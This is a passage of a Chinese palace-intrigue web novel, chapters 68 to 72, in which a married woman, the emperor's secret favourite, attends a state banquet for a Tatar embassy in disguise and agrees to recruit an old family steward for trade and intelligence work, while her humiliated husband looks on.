如今薛嘉言不仅没怪罪,还主动翻倍给,他喉咙发紧,声音带着些不易察觉的颤音:“多谢薛大奶奶……我们兄弟俩既然应了您的事,就没有半途而废的道理。王彪不在了,往后这事,我一个人也会想办法做到,定不辜负您的托付。” 薛嘉言看着他泛红的眼眶,轻轻叹了口气:“你的心意我明白,但眼下最重要的是先安顿好王壮士的家人。至于别的事,不急,你先把伤养好再说。” “不!大丈夫一言既出,驷马难追,我们说到必然就会做到!” 薛嘉言见李虎语气决绝,忙道:“李壮士且慢!此事真的不用急于一时。这里是京城,不是江湖。戚少亭虽只是个五品官,可若是突然没了性命,顺天府、刑部定会追查到底。到时候一旦查出蛛丝马迹,不仅你我脱不了干系,连苗大人都可能被牵连——这不是我想看到的。” 李虎愣了愣,攥紧了拳头道:“可我答应了奶奶要……” “我知道你守诺,”薛嘉言打断他,“但咱们做事得谋定而后动。你先好好养伤,等我消息。” 上次小翠湖遇到高夫人那天,薛嘉言想明白了,戚少亭活着于她无用,死了却未必不能派上用场。 本朝素来有‘夫死封妇’的先例,前两年户部的周主事,跟着钦差去江南查漕运,遭了水匪暗算,尸骨都没找全。朝廷念他是因公殉职,不仅追赠了从四品的员外郎,还封了他妻子为安人,连他那刚满三岁的儿子,都给了国子监的监生名额。 戚少亭个废物,活着只会卖妻求荣,死了就得封妻荫女。 只是这事急不得,她得筹谋筹谋。 李虎见薛嘉言这般镇定,脸上的急切渐渐褪去,重重点头:“奶奶考虑得周全,是我莽撞了。我听奶奶的,等您的消息。” “还有一事,”薛嘉言抬眼看向他,“此事关乎重大,绝不能泄露半分。” 李虎当即挺直了脊背,语气铿锵:“奶奶放心!我们兄弟在江湖上混饭吃,最讲究的就是‘信义’二字。此事从头到尾,除了我和王彪,再没第三个人知道。就连苗大人那边,我也只说是受了暗中嘱托,奉命沿途保护戚大人,半句没提您的谋划。” 薛嘉言悬着的心这才放下。 回家的路上,薛嘉言双手撑腮坐着,满脑子都在琢磨“戚少亭之死”的筹谋。 能封妻荫子的功劳不能小,好在她有姜玄支持,只要有功劳,应该就能封诰命,不过是品级高低的区别。 戚少亭是文官,什么事情才能让他死,又立下功劳呢? 不等薛嘉言想到办法,马车已经在戚府门口停稳,司雨就快步迎了上来,扶着她的手下车,凑到她耳边,小声道:“奶奶,您可算回来了。张公公府上刚才派人来传话,说今日要接您入宫,还特意交代,酉时就会派马车来府里候着。” “酉时?” 薛嘉言眉头瞬间蹙起,心中满是诧异。 夏日日长,酉时天还亮着,寻常入宫伴驾多在入夜之后,这般早的时辰,实在是前世今生第一回。 更让她疑惑的是,戚少亭清晨出门时特意提过,今日鸿胪寺要协助礼部招待鞑靼使团,宫里已备好晚宴,姜玄作为天子,必然要全程主持宴饮,与使团首领周旋,怎么会在酉时也就是宴前准备的要紧时候,突然召她入宫? 第68章 宫宴 姜玄素来沉稳,绝非冲动行事之人,他此时召她,定有缘由。薛嘉言摸不透姜玄的心思,但不得不遵从。 她抬手揉了揉眉心,低声吩咐司雨:“我出去后,你们看好棠姐儿,若是太太来找我,便说我去找郭大奶奶了。” 黄昏时分,薛嘉言悄悄从后门上了马车。 她身上的灰布太监服应是新作的,领口有些硬,蹭得脖颈发痒。她一路低着头跟在张鸿宝后面,视线只敢落在身前两尺的青砖地,生怕哪个侍卫突然拦路问话。 不过她也知道自己有些杞人忧天,这宫里除了主子,应该不会有人拦张鸿宝。 到了长宜宫,张鸿宝在殿门口停住脚,对薛嘉言说了句:“薛主子,您先进去换衣裳,等会跟着千茉就行了,别怕,宫里都安排好了。” 薛嘉言看了看天色,眼下根本不到睡觉的时辰,姜玄到底要做什么呢? 千茉捧了一套衣裳进来,展开后薛嘉言才发现,竟与千茉身上的一样。 “千茉,今晚为何要换这件衣裳?”薛嘉言有些惊讶问道。 千茉一如既往地平稳,低声道:“今晚太极殿里要设宫宴,招待鞑靼使团,陛下说,等会儿您跟着我一起过去伺候。” “去宫宴伺候?”薛嘉言的声音发紧,蹙眉道:“这怎么可以!若是我被人认出来怎么办?” 千茉垂着眼道:“薛主子不必紧张。太后偶感风寒,昨夜已经传了话来,今晚不参加宫宴;皇上前几日上火,脸上起了疹子,怕惊着远道而来的鞑靼使臣,特意命人在殿内设了紫檀屏风,使臣们在屏风外赴宴,您和我们这些宫人,都在屏风后面伺候,绝不会露脸。” 薛嘉言想追问一句“陛下到底为何要这般安排”,看着千茉垂首待命的模样,话到嘴边又咽了回去。千茉是皇帝身边的人,只听陛下的吩咐,她就算问了,也未必能得到答案。 夜色彻底沉下来后,宫道两侧的宫灯尽数点亮,鎏金的灯盏映着朱红宫墙,越发显得富丽堂皇。 薛嘉言跟着千茉往太极殿走,太极殿地上铺着西域进贡的波斯地毯,绒毛细密得能埋住鞋尖,踩上去软得像陷进云里;两侧的紫檀长桌足有两丈长,桌面铺着明黄色的织金桌布,每个席位前都摆着一套羊脂白玉餐具,餐具旁立着盏琉璃盏,里头盛着琥珀色的葡萄酿,微微泛着酒香;殿柱上缠着明黄与绯红交织的绸缎,绸缎下坠着玉磬,风过殿门时,玉磬便发出叮咚的脆响,与乐师们的演奏相映成趣。 这份富贵与薛嘉言无关,她在心里把姜玄翻来覆去骂了个狗血淋头:狗皇帝!先前让她扮太监,今日又扮宫女,怎么不干脆找套凤冠霞帔让她演太后? 她悄悄抬眼往殿中扫了一眼,那道紫檀屏风果然已经立在长桌后侧,屏风上刺绣纱面轻薄却不透人,隐约能看见屏风后摆着的软榻与矮桌。 薛嘉言悄悄舒了口气,还好,至少从外头瞧,真瞧不清屏风后的人长什么样。 不多时,穿各色朝服的官员和鞑靼使者们鱼贯而入,低低的寒暄,渐渐把殿内的空荡填满。 薛嘉言赶紧低下头,把半张脸藏在千茉的影子里,竖起耳朵听四周的动静。 一道熟悉的声音钻进了耳朵,带着几分刻意的殷勤:“左贤王,下官敬您一杯,这一路上招待不周,多亏王爷海涵。” 是戚少亭! 也是,他是鸿胪寺丞,负责招待鞑靼使团本就是他的差事,今晚出现在这儿,原是理所当然的事。 不知怎的,薛嘉言心里忽然冒出个荒唐又大胆的念头:姜玄费这么大劲把她弄进皇宫,让她混在侍从里参加宫宴,难道就是因为戚少亭今晚在这儿?他在吃戚少亭的醋? 这个念头刚冒出来,薛嘉言就赶紧摇了摇头,觉得自己定是昏了头。姜玄是九五之尊,心思深似海,怎么会为了这点小事费这么多周折? 殿外忽然传来太监陆怀高唱的声音,那声线清亮,穿透了丝竹乐声,在殿内回荡:“皇上驾到——” 薛嘉言抬眸望去,姜玄从后殿过来,身着一袭明黄色龙袍缓步走入,发间束着镶东珠的金冠,将他的眉眼衬得愈发深邃。 姜玄走过来,目光在落到薛嘉言身上时,眉梢轻轻一挑,眼底掠过一丝不易察觉的戏谑。 薛嘉言心里的火气又冒了上来,立刻垂下眼眸,盯着自己的鞋尖,故意装作没看见那道目光。 “吾皇万岁万岁万万岁!” 屏风外的朝臣与鞑靼使臣纷纷跪倒在地,声音整齐划一,震得殿内的烛火都晃了晃。 姜玄走到屏风后的主位上坐下,声音低沉道:“众卿平身。” 众人谢恩起身,刚要落座,殿外忽然传来一个粗狂的声音,带着浓重的西北口音,打破了殿内的平静:“皇帝陛下这是瞧不上咱们鞑靼人吗?设了宴席,却用一道屏风挡着,难不成是怕见了咱们,会污了皇帝的眼?” 姜玄声音依旧温和,却带着不容置疑的威严:“左贤王误会了。朕近日贪凉,染了风寒,脸上起了些红疹,龙颜有损,也怕过了病气给诸位。使团此次要在京城停留一个月,朕会设宴招待诸位游览京畿,到时候朕病愈,再与诸位畅聊,岂不是更好?” 这番话说得既给了鞑靼使团面子,又解释了设屏风的缘由。 左贤王张了张嘴,似乎还想再说些什么,却被身边的正使大人悄悄拉了拉衣袖。毕竟是在大兖的皇宫里,总不能真的驳了帝王的面子。他最终哼了一声,没再反驳,转身坐回了自己的位置。 晚宴随着内侍一声“开宴”正式启幕,殿角的丝竹声骤然变得明快起来,琴音流转间混着笙箫的清越,将满殿的热闹又推高了几分。 席间不时有大臣或是使臣起身,捧着酒杯称颂大兖朝的疆域辽阔、民生安乐,话语间满是对帝王的崇敬。 姜玄倚在主位的软榻上,指尖漫不经心地摩挲着白玉酒杯的杯壁,唇角始终噙着一抹浅淡的笑意,出声回应大臣的敬酒。 就在这时,屏风外戚少亭的声音:“臣戚少亭,谨代表鸿胪寺,恭迎鞑靼使团远道而来。此前臣奉命亲迎使团,一路与左贤王及诸位大人相谈甚欢,深知贵我两国皆有通商睦邻之心,愿此次宴席后,双方能共商良策,共护边境安宁。” 话音刚落,屏风外便传来左贤王爽朗的笑声,接着便有酒杯碰撞的清脆声响,显然使团对戚少亭颇为满意,互动间满是熟稔。 姜玄的目光恰在此时落在薛嘉言身上。见她垂着眼,长长的睫毛掩住眼底的情绪,一副“眼观鼻、鼻观心”的模样,仿佛完全没听见屏风外戚少亭的声音。 他眼底忽然掠过一丝戏谑,趁着殿内丝竹声又起的间隙,手腕微抬,突然伸手抓住了薛嘉言的手腕。 薛嘉言只觉一股拉力传来,身体不由自主地往前踉跄了半步,下一秒便撞进了一个温热的怀抱。龙袍上独有的龙涎香混着淡淡的酒气,瞬间包裹了她的感官,让她脑子一阵发懵。 “呀……” 一声轻吟不受控制地从唇间溢出,声音细微,却恰好卡在丝竹声的间隙里,清晰地飘向屏风外。 第69章 反撩 姜玄顺势将她圈在怀里,一只手揽着她的腰,另一只手轻轻按在她的唇上,温热的气息拂过她的耳廓,压低声音道:“小声点,别让外头的人听见。” 薛嘉言的脸颊瞬间涨得通红,她抬起头,狠狠瞪了姜玄一眼,这人明知她怕暴露,还故意这般捉弄!她下意识地攥紧了姜玄龙袍的袖口,却不敢真的用力挣扎,生怕动静太大引来了外头的注意。 而屏风外,戚少亭握着酒壶的手骤然收紧,酒液顺着壶嘴溢出,滴落在他的官服前襟上,晕开一小片深色的水渍。 方才那声轻吟,尾音带着点不易察觉的软糯,像极了从前夜里,他故意逗弄薛嘉言时,她恼得说不出话,只发出的无奈的抗议声。那是独属于她的声线,软中带着点倔强,旁人学不来也仿不像。 他的眉头瞬间拧成了疙瘩,目光不由自主地投向那道雕花屏风。 紫檀木的纹路间,隐约能看见两道交叠的影子,一道是帝王带着发冠的身形,另一道……身形纤细,是个女子。 “不可能……”戚少亭在心底默念,可那声轻吟的余韵还在耳边绕,像一根细针,轻轻扎在他的心上,让他原本平稳的呼吸,变得急促起来。 “戚大人?怎么不斟酒了?”鞑靼左贤王的声音拉回他的神思,戚少亭忙回过神,将酒液斟进对方杯中。 屏风内,薛嘉言的脸颊烫得厉害,眼底的羞恼几乎要溢出来。她深吸一口气,手腕微微用力,想从姜玄的怀里挣出来,可腰间的力道却骤然加重,他的手臂像道铁圈,将她牢牢圈在身前。 “别动,乖。”姜玄的声音贴着她的耳廓,带着酒气的温热,尾音还轻轻勾了下,听得薛嘉言耳尖发麻。 “外面还有使团和朝臣,皇上总要注意仪态。”薛嘉言几乎是咬着牙,用气声说道,生怕声音大了被外头听见。她能感觉到身后姜玄的胸膛贴着她的后背,沉稳的心跳透过衣料传过来,衬得她的心慌乱得更厉害。 姜玄却满不在乎,轻轻摩挲着她的腰,声音里带着几分慵懒:“没关系,有屏风挡着,他们看不见。” 话虽如此,屏风外的人却未必猜不到。屏风随看不清长相,却挡不住里头两道交叠的影子,方才薛嘉言那声细碎的轻吟还在众人耳边绕,再看屏风后那道纤细的影子被帝王牢牢揽在怀里,任谁都能猜出几分端倪。 果然,片刻后,屏风外就传来一道粗狂的笑声,正是鞑靼的左贤王:“哈哈!皇帝陛下这是怀抱美人呢?既然有这般娇俏的美人在侧,怎么不让咱们也见见,也好让咱们瞧瞧大兖的美人风采!” 他的声音响亮,带着草原人特有的直爽,瞬间让殿内的丝竹声都低了几分,连朝臣们都忍不住窃窃私语起来。 薛嘉言闻言紧张到不行,姜玄低头看了眼怀里紧绷的她,眼底掠过一丝浅笑,才扬声对屏风外说道:“左贤王见谅。朕这美人胆子小,素来怕生,见不得这么多生人,便不出来扰了诸位的雅兴。” 他的声音温和,却带着不容置喙的帝王威仪,既回应了调侃,又不动声色地护着薛嘉言,没让她陷入更尴尬的境地。 屏风外的左贤王闻言,倒也识趣,没再继续追问,只笑着打趣了两句“皇帝陛下好福气”,便转而与身边的朝臣聊起了通商的事。 薛嘉言这才悄悄松了口气,后背却已沁出了薄汗。 屏风外的丝竹声略低了些,几位身着朱紫官服的高官交换了个眼神。 吏部尚书李嵩微微侧头,对身旁的礼部尚书王彦低声耳语,声音压得极轻:“看来陛下并非传言那般,吾等可放心了。” 姜玄年满十九,迟迟不肯选秀,朝臣们私下都在揣测,毕竟他祖父孝文皇帝传闻专宠男侍,皇后无奈之下用了媚药才诞下先帝,这桩旧事,成了如今朝臣们忧心陛下子嗣的隐忧。 王彦捻着颔下的山羊须,眼底的忧色散去大半,轻轻点头回应:“既如此,待使团之事了结,吾等便该再提选妃之事,为皇家开枝散叶才是。” 话音刚落,李嵩便端着酒杯站起身,隔着屏风遥遥躬身:“陛下,臣敬陛下一杯,愿我大兖国泰民安,百姓安居乐业。” 姜玄抬手示意,目光却落在身前的薛嘉言身上,眼底的戏谑未减,挑眉道:“倒酒。” 今晚的姜玄让她有些陌生,这一世,好像因为她的态度变化,姜玄也跟着变了,她认识到另一面的他。 薛嘉言握着酒壶的手指紧了紧,抬眼撞进他含笑的眸子,那眼神里明晃晃写着“看你如何应对”,仿佛笃定她会慌乱,会怕屏风外的戚少亭听出端倪。 薛嘉言深吸一口气,脸上瞬间漾开一抹柔得能滴出水的笑意,眼底的羞恼尽数褪去,取而代之的是恰到好处的娇柔。 她手腕微倾,清洌的酒液顺着壶嘴流入白玉酒杯,动作优雅又带着几分妩媚,随即抬眼望向姜玄,声音软得像浸了蜜:“皇上请喝酒。” 那声“皇上”,尾音微微上挑,带着江南女子特有的软糯,又掺了几分娇嗔,与方才惊惶的轻吟截然不同,却更撩人。 姜玄明显愣了一下,握着酒杯的手顿在半空,眼底的戏谑僵了瞬,随即被更深的笑意取代,他忍不住低低笑了一声,笑声里满是愉悦。 而屏风外,戚少亭的血液仿佛在这一刻凝固了。 那声“皇上请喝酒”,像一把尖刀,狠狠扎进他的心里。 他太熟悉这声音了。 绝不会错!屏风那头,被皇帝搂在怀里、柔声唤着“皇上”的人,正是他的妻子,薛嘉言! 他捏着酒杯的手骤然用力,指节青筋暴起,骨节泛白,恨不得将手中的玉杯捏碎。一股难以言喻的羞辱感顺着四肢百骸蔓延开来,烧得他脸颊发烫,心口发闷。 他早知道薛嘉言与皇帝之前的关系,毕竟是他亲手将人送进宫的,可此刻,隔着一道薄薄的屏风,听着她对另一个男人柔声细语,感受着满殿人或许都已察觉的暧昧,这份羞辱比任何时候都来得真切、刺骨。 “戚大人?戚大人?”左贤王的声音在耳边响起,带着疑惑,“方才本王说,想明日去京郊马场看看,不知戚大人可否陪同?” 戚少亭浑然未觉,脑子里全是薛嘉言那声娇柔的“皇上请喝酒”,耳边嗡嗡作响,连左贤王的问话都没听见。 第70章 故人 戚少亭这才猛地回过神,慌忙收回目光,不敢再看向屏风的方向,对着左贤王连连躬身道歉:“对不住,左贤王,臣一时走神了,还望恕罪。” 说着不等对方回应,他便端起桌上的酒杯,仰头一饮而尽,酒液辛辣,呛得他喉咙发疼,却也稍稍压下了心底的慌乱。 赵谦看着他难看的脸色,皱了皱眉,凑近低声问道:“戚大人,你脸色怎么这般难看?可是哪里不舒服?” 戚少亭强压下心头的羞愤与戾气,扯出一个比哭还难看的笑容,声音干涩:“不妨事,许是今日酒喝得急了,酒量浅,有些上头罢了。” 说着又拿起酒壶,给自己满斟一杯,像是要借酒浇愁,却不知那酒液入喉,只让那份羞辱与不甘,愈发浓烈。 屏风内的烛火晃了晃,将两人交叠的影子投在纱面上,晕出暧昧的弧度。薛嘉言趁姜玄仰头笑的间隙,飞快凑到他耳边,齿尖几乎要蹭到他的耳廓,声音压得极低却带着咬牙的力道:“皇上现在满意了?” 姜玄垂眸看着她,烛光照在他眼底,带着几分说不清的舒畅。 他抬手,指腹轻轻抚过薛嘉言的脸颊,指腹触到她因羞愤而微微发烫的皮肤,喑哑开口:“满意。” 话音未落,他微微倾身,视线落在潋滟红唇上,没等薛嘉言反应过来,他低头便覆了上去,吻得轻却带着不容错辨的占有感,让薛嘉言瞬间僵住,连呼吸都忘了。 这一幕恰好落在屏风外左贤王眼里,屏风后帝王身影微微低下,分明是亲吻的姿态。 左贤王当即拍着大腿哈哈大笑起来,声音粗狂地震得殿内丝竹声都顿了半拍:“好!大兖皇帝果然是性情中人!咱们草原汉子爱美人从不藏着掖着,陛下这般坦荡,倒是合我心意!” 说着他举起酒杯,对着屏风方向遥遥一敬,眼底满是对“同道中人”的赞许。 屏风外的朝臣们虽没左贤王这般直白,却也纷纷交换着了然的眼神,先前关于皇帝“断袖”的流言,此刻竟被这一吻彻底击碎,不少人悄悄松了口气。 唯有戚少亭,像被这笑声和屏风上的影子钉在了原地。他的手紧紧攥成拳头指甲深深掐进掌心,尖锐的痛感顺着掌心蔓延开来,竟压不住心口那股酸涩。 薛嘉言侧坐在姜玄膝头,腰间被他圈着,整个人几乎半倚在他怀里。 姜玄拿着玉筷挑着块桂花糕递到她唇边,她张口含住。刚咽下去,姜玄又端着酒杯凑过来,琥珀色的酒液荡漾,薛嘉言就着他的手喝了两口。 姜玄故意轻轻倾斜酒杯,酒液沾在她唇角,薛嘉言瞪了他一眼,姜玄笑着用指腹轻轻擦过她唇角的酒渍。 薛嘉言觉得这酒不错,顺着他的手,就着杯沿又抿了一口。 屏风外的觥筹交错声隐约传来,有朝臣的奉承,有鞑靼使者的大笑,还有……戚少亭偶尔应和的声音,低低的,再没了一开始的欢喜。 薛嘉言忽然觉得,从前固守着的“贞洁”、“名声”,根本不值一提。 前世她困囿与贞洁枷锁,被人指着鼻子骂“祸国狐狸精”时,她只觉屈辱,可此刻,人在太极殿的御座,坐在帝王的大腿上,想象着戚少亭那张必定铁青的脸——她的唇角竟先浮起一抹浅淡的笑,带着点恶作剧般的畅快。 原来不在乎那些束缚后,做“狐狸精”是这样轻松畅快的滋味。 “笑什么?”姜玄的指尖忽然捏了捏她的腰,力道不轻不重,“陪朕更衣。” 薛嘉言回过神,刚想直起身,却被他拦腰搂着,一起站了起来。 姜玄揽着她的肩,转身往后殿走。穿过一道门,进了偏殿,素色纱帘垂落,烛火只点了两盏,比前殿暗了许多,喧闹声也被隔绝在外。 刚站定,姜玄脸上的戏谑便尽数褪去,眼底只剩沉稳。他牵着她的手,走到窗边,望着外头的夜色,忽然开口:“你可认识苏伯远?” 薛嘉言闻言一怔,脑海里迅速翻找着这个名字。 片刻后,她缓缓点头,有些恍惚道:“认识,是我外祖父身边的大管事,我小时候叫他苏伯伯。我外祖父过世后,母亲收了丹阳的生意,苏伯伯便带人离开了,之后便断了联系,算下来,已有十几年了。” “他就在使团里。”姜玄说道。 薛嘉言猛地抬头,眼底满是讶异。 姜玄语气平静地解释:“鞑靼近年想打通与中原的商路,苏伯远在鞑靼做了十几年生意,成了那边数一数二的中原商人。他为人圆融,能言善辩,又懂两边的风土人情,左贤王很看重他,这次来大兖,便特意推荐他入了使团,负责商路谈判的前期接洽。” 薛嘉言静静听着,心里对姜玄让她今晚进宫的原因有了猜测,可还是有一些不确定。 她抬手拢了拢鬓边的碎发,声音低了些:“可我与他已经十几年没见了,当年外祖父和母亲虽待他不薄,这么多年过去,人事变迁,他未必还将从前的情谊放在心上。我就算去找他,怕也……” “朕查过了。”姜玄打断她的话,语气带着不容置疑的笃定,“癸酉年瘟疫,苏伯远和他弟弟都是你外祖父花钱救治的;后来你外祖父见他有经商的天赋,又提拔他做了管事,是知遇之恩。这两重恩,苏伯远一直记着。朕查到,他在鞑靼站稳脚跟后,每年都会派人去你外祖父的坟前祭拜,也每年都有往你母亲那里送年礼。” 他顿了顿,看着薛嘉言眼中渐渐亮起的光,又补充道:“当年你母亲给了他一笔丰厚的遣散费,他用这笔钱做了本钱,才在鞑靼打开了局面。他在生意场上名声极好,最是重情重义,朕倒觉得,他不会不念旧。” 薛嘉言的心慢慢沉定下来,姜玄这般细致地查了苏伯远的底细,又特意把这事告诉她,绝不会只是随口一提。 她抬起头,迎上姜玄的目光,语气平静却带着探究:“皇上想让我做什么?” 第71章 分一杯羹 姜玄语气不疾不徐道:“你以故人的名义去见苏伯远,就说你愿接手大兖这边的商业接洽,与他搭伙做买卖,赚的利钱你们商议如何分。” “当然,两边贸易繁杂,你可能没有那么大的能力。我有一间粮行,可以跟鞑靼做些粮食买卖,你只需出面几次,表明是你在主事就行。” 薛嘉言听到这里忍不住白了姜玄一眼:“你也太小瞧人了,我外祖父和母亲都是做生意的,我总不会一窍不通。” 姜玄失笑,摸了摸薛嘉言的脸颊,“我若真小瞧你,便不会想让你做这件事了。” 说到这儿,他顿了顿,又补充道:“但光做生意不够。你跟他说,让他暗中把鞑靼的动静报上来,无论是贵族间的纷争,还是边境商队的调度,哪怕是左贤王的私事,都得记着。商队的人走南闯北,草原上的虚实,他们最清楚不过,有时候比斥候还好用。” 薛嘉言垂着眼,她怎会不懂“商队的小过错”是什么? 像苏伯远这种做两国贸易的,从前外祖父在世时,也难免为了赚利钱,私下走些朝廷没备案的货,或是帮人传递些“不方便走官驿”的消息。这些事若是较真,便是“通敌”的罪名,可若是能为朝廷所用,反倒成了可恕之过。 她抬眼看向姜玄,语气里带着几分疑惑:“此事能做的人很多,哪一个都比我合适。为何皇上偏偏选了我?” 姜玄轻声道:“一来,你跟苏伯远本就有旧,他对你的戒心,总比对陌生人轻些。换了旁人去,他未必敢轻易相信。二来,你若能跟苏伯远达成合作,明面上是打通了两国商路,让朝廷多了笔赋税;私底下又能为朕输送鞑靼的消息,这便是实打实的功劳。到时候,朕便可借着‘助力通商、安定边境’的由头,为你请封诰命。快的话,明年开春,至少可以先封个‘恭人’。” 薛嘉言的心猛地一跳,抬眼时,恰好撞进姜玄眼底。她没想到,姜玄竟和她想到了一处。 她此前还在盘算着,要借戚少亭的死换“烈妇诰命”,可那诰命终究是靠旁人的性命换来的,一辈子摆脱不了一个“戚”字。 可姜玄给的这条路不一样。靠自己的本事打通商路、传递消息,挣来的诰命是“功诰”,是朝廷认可的功绩,不仅体面,还能让她握着商队的利钱。 既有名,又有实,比靠戚少亭死更稳妥。 薛嘉言定了定神道:“那我明日便找机会去与苏伯伯说话。” 姜玄道:“不,就是今晚。” 薛嘉言听到“就是今晚”四个字时,眼底掠过一丝意外,刚要开口询问,便觉姜玄温热的掌心抚上自己的脸颊,轻笑着道:“你不会真以为我今晚把你弄进来就是为了恶心戚少亭吧?” 姜玄看着她呆愣愣的样子,笑着继续说道:“等会苏伯远会被张鸿宝请过来,你直接跟他谈。你不必说得太明白,含糊其辞,让他知道你背后有宫中为你撑腰即可。至于后续合作,朕会派个人协助你。” 薛嘉言心头忽然一亮,瞬间明白这安排里的深意。 宫宴仍在进行,偏殿地处太极殿一侧,宫禁森严,她能在这个时候、这个地方与苏伯远见面,本身就是一种“信号”——苏伯远只要不傻,就该知道她背后定有皇族撑腰。 “我知道了。”薛嘉言点了点头,眼底的犹豫尽数褪去。姜玄的每一步都算得精准,她若再做不好,也对不起外祖父当年抱着她在膝头教诲。 姜玄见她领会,唇角勾起一抹浅笑,叮嘱道:“等会张鸿宝安排你换一身衣裳。你说话时自然些,别被苏伯远怀疑刚刚那宫女就是你。” 他直起身,整理了一下龙袍的衣襟,语气恢复了几分帝王的沉稳:“我先回前殿去。张鸿宝很快就到,你在此处等他便是。”说罢,又深深看了她一眼,才转身往偏前殿走去。 不多时,殿外传来轻缓的脚步声,张鸿宝带着玉珍捧着一套绯色的常服走了进来,躬身道:“薛主子,陛下吩咐老奴送衣裳过来,您先梳洗换衣吧。苏大人那边,老奴会在一刻钟后去请。” 薛嘉言接过衣裳,点了点头:“有劳张公公。” 一刻钟后,苏伯远推门而入,躬身行礼后,抬眼看清薛嘉言的模样,顿时愣住了。 他鬓角已染了霜白,身形比记忆里瘦了些,可那双眼睛仍亮,盯着薛嘉言看了几息,才颤着声道:“小……小小姐?” 薛嘉言上前半步,福身还了半礼,声音带着欣喜:“苏伯伯,多年不见,您还能认得出我。” 苏伯远的眼眶瞬间红了,他慌忙去扶,欣喜道:“小小姐跟小姐长得像,我怎么会认不出来呢。” 两人落座,薛嘉言亲手为他斟茶,轻声提起旧事:“我还记得,小时候你从边关回来,给我带了串狼牙项链,说是能辟邪,我现在还收着呢。” 苏伯远道:“小小姐竟还记得这些小事。我正准备过两日去求见小姐呢,你们这些年都还好吧。” 薛嘉言笑道:“都还好,苏伯伯别叫我小小姐啦,我如今不是小孩了,我女儿都快三岁了。您就随我母亲叫我嘉嘉吧,听着亲近。” 苏伯远从善如流,开始叫薛嘉言为嘉嘉,两人叙了一会旧。 听说吕氏夫妻回了丹阳,苏伯远有些遗憾道:“原想着难得来京城一趟,正好可以见见小姐,没想到又错过了。” 薛嘉言知道时间紧迫,是时候提正事了。她放下茶盏,语气比方才沉了些:“苏伯伯,此次我找您,一是念着旧情想叙叙话,二是有件关于商路的事,想跟您商量。” 苏伯远眼底闪过一丝了然,脊背不自觉挺直了些。 他在商场摸爬滚打十几年,早已练就察言观色的本事,自然知道薛嘉言在宫宴之夜单独见他,绝不止叙旧那么简单。 他抬眼看向薛嘉言,目光里带着探究与审慎:“嘉嘉但说无妨,只要我能办到。” “我听说左贤王属意您牵头,打通大兖与鞑靼的商路。您在鞑靼商界有声望,又与左贤王交好;我在京城也有些门路,您若愿意,我想接手大兖这边的接洽事宜,与您搭伙做生意。您放心,两边贸易种类和数量巨大,我只求一点份额罢了。” 苏伯远闻言,若有所思,没有立刻应下。 他心里清楚,这商路背后牵扯的远不止银钱,还有两国邦交、贵族利益,左贤王那边自有考量,而薛嘉言毕竟是女子,这一点是天然的劣势。 第72章 你以为我们在过家家? 薛嘉言看出他的顾虑,继续道:“苏伯伯,我知道您顾虑什么。可您也知道,我母亲当年的能力连我外祖父都夸赞过。我虽比不上她,好在有大树可乘凉,若是您遇到什么难处,我这边也可以为您兜底。” 苏伯远眉头微松,却仍有疑虑:“可草原那边不一样,左贤王手下的人都是些粗人,见你是女子,怕是连谈都不愿跟你谈。” “这正是我女子身份的好处。”薛嘉言笑着继续道,“苏伯伯您想,两国通商,鞑靼定会对合作商户严明考察,提防细作,处处防备。可我是个女子,还是您的‘故人之女’,他们便会放松许多,只要我能帮你们赚钱,我想他们也不会在意我是男是女,不是吗?” 苏伯远沉默了半晌,殿内只有烛火燃烧的“噼啪”声。他明白,薛嘉言在这个时刻和地点出现谈这些意味着什么。 “只怕不止是做点生意而已吧?”苏伯远有些探究地说。 薛嘉言道:“苏伯伯睿智,的确不止如此。商路往来便利,消息传递的也就更快,苏伯伯也是大兖子民,自然明白我话中意思。苏伯伯辛苦几十年,我想定不甘心止步于商人吧。” 苏伯远明白她话中意思,道:“嘉嘉小姐,您让我想想,过两日给您答复,可以吗?” 薛嘉言道:“自然可以,我等苏伯伯回话。” 薛嘉言与苏伯远谈完,玉珍上前来说:“薛主子,皇上交代过了,您可以先回去了,您放心,都安排好了。” 回到戚家时,已是亥时初。薛嘉言沐浴过后,换上一身素色寝衣,坐在窗下的书案前。 案上摊着一张宣纸,砚台里磨好的墨还泛着微光,她提起狼毫,本想写几个字静心,可却总想起鞑靼商路的事,心潮难平。 忽听得院外传来踉跄的脚步声,紧接着便是房门被推开的声响。 薛嘉言抬眼望去,戚少亭站在门口,脸色酡红得几乎要滴血,眼睛更是红得吓人,额前的碎发被汗水打湿,贴在皮肤上,整个人透着一股酒气与戾气。 他挥手斥退了闻声赶来的丫鬟,脚步踉跄走近,酒气随着他的呼吸漫过来,呛得薛嘉言微微蹙眉。 戚少亭走到书案前,停下脚步,一双发红的眼睛直勾勾地盯着她,连呼吸都带着粗重的喘息。 “今晚……你是不是进宫了?”戚少亭的声音从齿缝里挤出来,带着压抑不住的颤抖。 宫宴上那声轻吟、那句娇软的“皇上请喝酒”,还有屏风后隐约可见的相拥身影,像无数根针,扎得他心口发疼,一路从宫里回来,酒喝得越多,那画面就越清晰。 薛嘉言没有丝毫犹豫,轻轻点了点头:“是。” 语气平静得像在说“今晚喝了茶”一般,没有愧疚,没有躲闪,只有坦然。 “不要脸!”戚少亭猛地低吼出声,声音里满是羞愤与暴怒。 薛嘉言终于放下笔,转过身,面对着戚少亭。她唇角勾起一抹似笑非笑的弧度,眼神里带着几分嘲讽,几分冷冽:“怎么,你以为我平时进宫,是跟皇帝玩过家家?” 这句话像一把尖刀,狠狠刺穿了戚少亭自欺欺人的幻想。他愣在原地,脸色瞬间从酡红转为苍白,嘴唇动了动,却发不出任何声音。 是啊,他早就知道薛嘉言与皇帝的关系,从他把她送进宫的那一刻起就知道。 戚少亭胸膛剧烈起伏,呼哧呼哧的喘息声在安静的房间里格外刺耳,像是被激怒的困兽。 他看着薛嘉言那张平静的近乎淡漠的脸,心底的怒火烧得更旺。他都为夜宴上的事情感到羞愤,薛嘉言为何如此平淡? 他忍不住想说出更恶毒的话,薛嘉言却没给他机会,忽然抬起手,纤细的食指轻轻竖在唇边,做了个“嘘”的动作。 “戚大人,隔墙有耳。” 戚少亭的怒火瞬间僵在喉咙里。他猛地攥紧了拳头,银牙几乎要咬碎,腮边的肌肉突突直跳。 是啊,宫宴上皇帝将她搂在怀里那般宝贝,连屏风都特意设了,可见对她有多上心,那派人监视也不足为奇。 戚少亭知道薛嘉言跟姜玄的心上人相似时欣喜若狂,薛嘉言又不是黄花姑娘,送进宫睡几回,换他前途无量,薛嘉言还得羞愧难当,他觉得很划算。 但今晚的事情让他有些恐慌,事情好像出乎他的掌控。那个少年皇帝,并没有因为得到后就很快厌弃。 